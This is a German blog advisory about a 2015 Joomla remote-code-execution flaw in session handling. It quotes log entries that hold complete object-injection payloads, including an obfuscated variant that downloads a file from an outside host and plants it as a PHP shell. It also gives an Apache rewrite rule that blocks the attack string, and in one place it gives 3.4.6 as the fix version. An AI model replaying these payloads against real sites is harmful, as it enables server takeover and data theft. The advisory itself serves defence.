Joomla Remote Exploit - updaten auf Joomla 3.4.7

Erstellt am: 22.12.2015




Neuer Joomla Zeroday Remote Exploit im Umlauf - dringend updaten auf 3.4.7

Seit dem 13.12.2015 ist ein neuer Joomla Exploit im Umlauf welcher es durch einen Fehler im PHP Code des Joomla Sessionhandlings ermöglicht, beliebige Dateien in ein Joomla CMS hochzuladen und anschliessend remote auszuführen.

Es wird dringend angeraten Joomla Installation bis zur Version 3.4.6 sofort auf die Version 3.4.7 upzudaten. Die Sicherheitslücke wird bereits aktiv zum Spammen und zur Verteilung von Malware verwendet.

Technischer Hintergrund

In den Webserverlogdateien finden sich ähnliche Einträge wie dieser :

104.232.3.33 - - [15/Dec/2015:23:12:58 +0100] "GET / HTTP/1.1" 301 219 "http://DOMAINNAME.HIDDEN/" "}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers"; a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:" cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}xf0x9dx8cx86"

Im Useragent Parameter wird anstelle eines legitimen Agents obiger PHP Code bzw. Parameter an den fehlerhaften Code im Joomla Sessionhandling übergeben. Anschliessend kann durch den Angreifer eine Datei hochgeladen werden, welche beliebigen PHP ausführen kann.

Joomla CMS bis Version 3.4.6 sind angreifbar und müssen sofort upgedated werden. Sicherheitsrelevante Konfigurationsdaten wie jene des FTP Accounts (falls dieser in der Joomla Konfiguration hinterlegt wurde) und MySQL Passwort müssen im Zuge des Updates neu gesetzt werden, da diese Daten beim initialen Request via

getConfig();

bereits ausgelesen und extern verspeichert worden sein können.

Es ist davon auszugehen, dass eine Vielzahl von Joomla Installationen betroffen sind, da die Version 3.4.6 bzw. der Patch erst 2 Tage nach Bekanntwerden des Fehlers veröffentlicht wurde.


Gegenmassnahmen:

Als Massnahme gegen den Angriff kann z.B. auf einem Apache Server eine Rewriterule eingefügt werden, welche beispielsweise auf die Zeichenkette "JDatabaseDriver" im Useragent eines Requests abfragt, und die Ausführung verhindert. Um das Problem jedoch grundsätzlich zu lösen ist es notwendig, das Joomla Update auf Version 3.4.6 durchzuführen.

Update:

Neue Varianten:

195.22.126.198 - - [16/Dec/2015:00:40:39 +0100] "GET / HTTP/1.1" 301 223 "-" "} __test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers"; a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:954:" eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(99).chr(100).chr(32).chr(99).chr(111) .chr(109).chr(112).chr(111).chr(110).chr(101).chr(110).chr(116).chr(115).chr(59).chr(99).chr(100).chr(32).chr(99).chr(111) .chr(109).chr(95).chr(109).chr(101).chr(100).chr(105).chr(97).chr(59).chr(114).chr(109).chr(32).chr(45).chr(114).chr(102). chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(117).chr(114).chr(108).chr(32).chr(45).chr(79). chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(116).chr(105).chr(112).chr(116).chr(111).chr(112) .chr(99).chr(111).chr(109).chr(46).chr(116).chr(118).chr(47).chr(98).chr(108).chr(111).chr(103).chr(47).chr(107).chr(46) .chr(116).chr(120).chr(116).chr(59).chr(109).chr(118).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(32).chr(97) .chr(106).chr(97).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19: "cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4: "init";}}s:13:"\0\0\0connection";b:1;}xf0xfdxfdxfd"

45.62.123.93 - - [16/Dec/2015:07:23:39 +0100] "GET / HTTP/1.1" 301 221 "-" "}__test|O:21:"JDatabaseDriverMysqli":3:{s:2: "fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize"; O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:65:"eval(base64_decode($_SERVER[HTTP_X]));JFactory::getConfig();exit;";s:19 :"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4: "init";}}s:13:"\0\0\0connection";b:1;}xf0x9dx8cx86"


Referenzen


https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
http://www.heise.de/security/meldung/Joomla-Version-3-4-6-stopft-kritische-Sicherheitsluecke-3043699.html

Quick Fix - Workaround für Apache



Auf Apache Webservern mit aktiviertem mod_rewrite Modul kann als temporärer Workaround diese Regel eingefügt werden :

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} JDatabase [OR]
RewriteRule (.*) http://%{REMOTE_ADDR}/FIX_YOUR_COMPUTER_IT_RUNS_A_BOT [R=301,L]

Dieser Workaround leitet Requests von Clients welche im Useragent die Zeichenkette "JDatabase" beinhalten auf Ihre eigene IP Adresse um.
Gegen andere Angriffsformen als die beschriebene hilft diese Regel natürlich nicht.


Alle Artikel im Blog:


05.01.2015

Tirol Logo ...